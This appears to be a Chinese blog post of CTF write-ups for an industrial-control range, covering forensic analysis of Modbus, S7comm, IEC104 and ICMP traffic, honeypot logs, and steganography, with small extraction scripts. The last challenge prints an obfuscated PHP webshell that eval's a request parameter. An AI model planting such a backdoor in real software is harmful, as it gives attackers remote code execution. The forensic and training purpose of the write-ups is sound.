• 纵横网络靶场 部分wp


    Modbus协议  

    黑客通过外网进入一家工厂的控制网络,之后对工控网络中的操作员站系统进行了攻击,最终通过工控协议破坏了正常的业务。我们得到了操作员站在攻击前后的网络流量数据包,我们需要分析流量中的蛛丝马迹,找到FLAG,flag形式为 flag{}

    直接找modbus协议 ,长度117也比较可疑,打开就是flag 

    TheModbusProtocolIsFunny!  

    MMS协议分析

    工业网络中存在的异常,尝试通过分析PACP流量包,分析出流量数据中的异常 点,并拿到FLAG,flag形式为 flag{}。

    追踪tcp流 发现有flag字样  

     再次全局排下序,长度突出的包

     

    png的base64,拿去转图片 

    大工UDP协议

    在进行工业企业检查评估工作中,发现了疑似感染恶意软件的上位机。现已提取出上位机通信流量,尝试分析出异常点,获取FLAG,flag形式为 flag{}。

    看udp流,直接有 

     16进制 

    S7COMM协议分析

    某10段工控网络中,工业协议中存在异常数据。请通过流量中的数据找寻 flag,flag形式为 flag{}。

    s7comm协议 长度排序,第一个data里有16进制 

     就是flag

    工控蜜罐日志分析

    工控安全分析人员在互联网上部署了工控仿真蜜罐,通过蜜罐可抓取并分析互联网上针对工业资产的扫描行为,将存在高危扫描行为的IP加入防火墙黑名单可有效减少工业企业对于互联网的攻击面。分析出日志中针对西门子私有通信协议扫描最多的IP,分析该扫描组织,Flag为该IP的域名,,flag形式为 flag{}。

    就是给了日志找针对西门子私有通信协议出现最多的ip 查询其域名 

    ip查询 查ip 网站ip查询 同ip网站查询 iP反查域名 iP查域名 同ip域名 进行查询 

    西门子私有通信协议是S7COMM

    可以通过python来统计出现最多的ip

    1. import re
    2. iplist = []
    3. with open('honeypot.log', 'r') as f:
    4. lines = f.readlines()
    5. for line in lines:
    6. if 's7' in line.lower():
    7. iplist += re.findall(r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}', line) # ip的正则表达式
    8. #print(iplist)
    9. # 对iplist元素进行 按数量排序
    10. dic = {} #空字典
    11. for ip in iplist:
    12. dic[ip] = dic.get(ip,0) + 1 # ip为key,数量为value
    13. #print(dic)
    14. result_ip = dic.keys() #key是ip
    15. result_ip=sorted(dic.items(),key=lambda item:item[1],reverse=True)
    16. for i in result_ip:
    17. print(i)

     

    ICMP协议分析

    某厂区遭到黑客恶意扫描,此为安全设备截取的一部分流量包,请尝试分析该流量文件,帮助安全人员找到黑客的行为轨迹,并找到隐藏的FLAG,flag形式为 flag{}

    md坑b 

    看icmp包 ,就五个

     第一个没有data,看文章说没有data的ICMP是恶意包

    然后其他四个data,竟然就是flag。。。怪不得网上没啥wp

     
    Modbus协议流量分析

    黑客通过外网入侵到工厂的控制网络,之后对工控网络中的操作员站系统进行了攻击,最终通过工控协议破坏了正常的业务。我们通过监控工具得到黑客攻击前后的网络流量数据包,我们需要分析流量中的蛛丝马迹,找到FLAG,flag形式为 flag{}。

    过滤modbus,然后查看tcp流,里面有这个

    简单Modbus协议分析

    由于操作员操作不当导致化工车间蒸馏塔控制器程序出错,请分析错误程序查找错误点并获得flag,flag格式为flag{}。

    在流3里面各种找没找到啥有用信息

     可以直接strings出来flag的16进制数据

    异常的IEC104分析

    小张在对电力企业进行渗透测试时,发现一台开启IEC104通讯协议的设备,并尝试对该设备进行测试。但是在IDS中发现了相关通讯异常。请尝试找出数据包中的flag。flag格式为:flag{}。

    过滤iec104 

     追踪流 发现拼接成welcome的字符

     flag{welcome}

    隐信道数据安全分析

    安全分析人员截获间谍发的秘密邮件,该邮件只有一个MP3文件,安全人员怀疑间谍通过某种private的方式将信息传递出去,尝试分析该文件,获取藏在文件中的数据?flag形式为 flag{}。

    题目提示private的方式传递, 010打开mp3后看模板,发现存在private bit,因此,只需要提取每一个mf组中的该字节,组合起来,就是答案

    提取前8个MPEG_HEADER mpeg_hdr下的private bit即可得到 

    01000110  就是大写F的二进制

     12+1+2+1+4+2+1+1+2+2+1+1+2=32,32个bit即总共4字节,

    private_bit 为24,为第3个字节的最后一位

    该模块的字节从1C1B8H开始,16进制转字节就是[115128] 

    那么private_bit就在第115130个字节上的最后一个bit

    那么每个模块的大小是固定的414h 也就是[1044]个字节 

    如上述写脚本:

    1. import re
    2. import binascii
    3. pos = 115130 # private_bit 所在的第一个字节
    4. result = ''
    5. with open('flag-woody.mp3', 'rb') as file:
    6. while pos < 2000000:
    7. file.seek(pos, 0) # 移动指针到pos位置,0代表从文件头开始
    8. pos += 1044 # 字节递增
    9. file_read_byte = file.read(1) # read(1) 会1个字节逐个进行读取
    10. private_bit = bin(ord(file_read_byte))[-1] # 转10进制再2进制 读最后一位得到private_bit
    11. # print(private_bit)
    12. result = result + private_bit #目标bit逐个相加
    13. print(result)

     二进制转ASCII即可

     简单流量分析

    不久前,运维人员在日常安全检查的时候发现现场某设备会不时向某不知名ip发出非正常的ICMP PING包。这引起了运维人员的注意,他在过滤出ICMP包分析并马上开始做应急处理很可能已被攻击的设备。运维人员到底发现了什么?flag形式为 flag{}

    ICMP包都有奇怪的data数据,长度符合ASCII可见字符范围

    使用tshark提取源地址为192.168.3.73的包的data字段:

    tshark -r fetus_pcap.pcap -Y 'ip.src_host=="192.168.3.73"' -e data -T fields > icmp_data.txt

     提取数据后自动转16进制了,我们再转回来 然后计算长度

    1. from binascii import *
    2. import base64
    3. result = ''
    4. with open('icmp_data.txt','r') as file:
    5. lines = file.readlines()
    6. for line in lines:
    7. line = unhexlify(line.strip()) #去除空格后16进制转ASCII 得到原始的base64数据
    8. length = int(len(line)) #得到每行的长度
    9. result += chr(length)
    10. print(base64.b64decode(result))

    工控安全取证

    有黑客入侵工控设备后在内网发起了大量扫描,而且扫描次数不止一次。 请分析日志,指出对方第4次发起扫描时的数据包的编号,flag形式为 flag{}

    对方第四次扫描,这里指的是找第四个ip的第一次扫描

    改后缀pcap

     按照协议排序后 上面几个icmp协议 ,是进行ping操作

    直接看request请求ping的第四个ip 也就是192.168.0.199, 数据包编号155989 

     flag{155989}

    flag在哪

    某队在审核一起工业间谍案件中的邮件收发记录时,发现一张可疑图片,初步怀疑这张图片中隐藏了关键秘钥信息,你能找出隐藏的秘钥信息吗?找出的秘钥信息即为 flag,flag形式为 flag{}。 

    这样一张图 经过反色 然后拼接

     

    原图foremost一下有一个加密的压缩包

    This_n0t_fl4g就是密码,打开有个图片

     继续foremost 出来一张一样的图

     像素隐写GitHub - HFO4/HideByPixel: 一个利用像素隐藏文字的程序

     

    黑客的大意

    黑客在入侵后不小心留下了这样一个文件,请分析文件进行溯源,找到黑客的邮箱。flag格式为flag{邮箱账号}

     给了个这图,溯源,就试osint了

    github搜WATCHIN YUR SCREENZ github中搜索可知图来源于gcat这个程序

     找到这个项目源码

    图片的奥秘

    安全运维人员发现黑客在他们眼皮底下传出去了一张图片,你能发现其中的奥秘吗?Flag格式为:flag{}

     可以看出藏了点阵的 ,量了一下间距是20个像素

    学大佬的脚本提取

    1. from PIL import Image
    2. img = Image.open('under_your_nose.jpg')
    3. img = img.convert('RGB') # 转换RGB通道
    4. x, y = img.size
    5. for i in range(x):
    6. for j in range(y):
    7. color = img.getpixel((i,j)) # 获取该坐标下的RGB值
    8. if (i % 20 != 0) or (j % 20 != 0):
    9. color = (0, 0, 0) #取20像素间隔中的所有像素都为黑色
    10. img.putpixel((i, j), color)
    11. img.save('a.jpg')

    能看出flag,用steg看更清晰 

     flag{be_careful_more_careful!!!}

    工控协议数据分析

     生产系统的运维人员在进行日常审计中发现设备存在大量的告警日志,自动化工程师在进行上载分析中也没有发现相关的问题所在,请您帮助进行分析相关设备的存在的问题,flag格式为:flag{hex数据}

    告警日志

    有APR流量,可能试APR攻击

     两个vm数据包比较可疑,flag提示hex数据,flag就是其Mac地址

    隐藏的黑客

    根据情报得知工控现场发现某SCADA系统被黑客攻破,附件为黑客在目录留下的文件和当时时间段捕获到的一部分流量包,你能根据这些信息分析出蛛丝马迹来么flag形式为 flag{}

    upload文件夹一堆shell  

    追踪http流发现有PK字样,压缩包数据头头前面有数据混淆 

     手动保存下来个zip

     需要密码,密码从upload里面的shell密码获取 

    写个脚本提取出来一个字典,然后跑

    1. import re
    2. import os
    3. file_list = os.listdir(r'C:\Users\达\Desktop\upload')
    4. pass_list = []
    5. for file in file_list:
    6. file_name = r'C:\Users\达\Desktop\upload\\' + file
    7. with open(file_name,'r') as f:
    8. content = f.read()
    9. pass_list += re.findall('\[(.*)\]',content)
    10. with open('pass.txt','w') as f2:
    11. for password in pass_list:
    12. f2.write(password+'\n')

     

    1. error_reporting(0);
    2. @$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
    3. @$str="ZXZhbCgkX";
    4. @$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
    5. @$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
    6. @$count = 0;
    7. for($x=0;$x<=9;$x++){
    8. if (in_array($x, @$c)){
    9. @$str=@$str.@$c[@$count];
    10. if ($count == 2)
    11. {
    12. @$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
    13. }
    14. @$count++;
    15. }
    16. }
    17. ?>

     得到一串php ,直接echo 结果

     base64解码 flag{9a72c3d5e74f6051bb3b3590fa9319fe}

  • 相关阅读:
    Oracle SQL基础
    重学 vue3 中的 computed
    [iOS开发]block再学习
    c++ 11 线程支持库 thread
    【经验总结】Ubuntu 源代码方式安装 Microsoft DeepSpeed
    hypermesh 圆周阵列-插件
    类加载器知识
    java运行jar包
    分布式.远程调用技术概述
    Python 装饰器、嵌套函数、高阶函数
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/126230999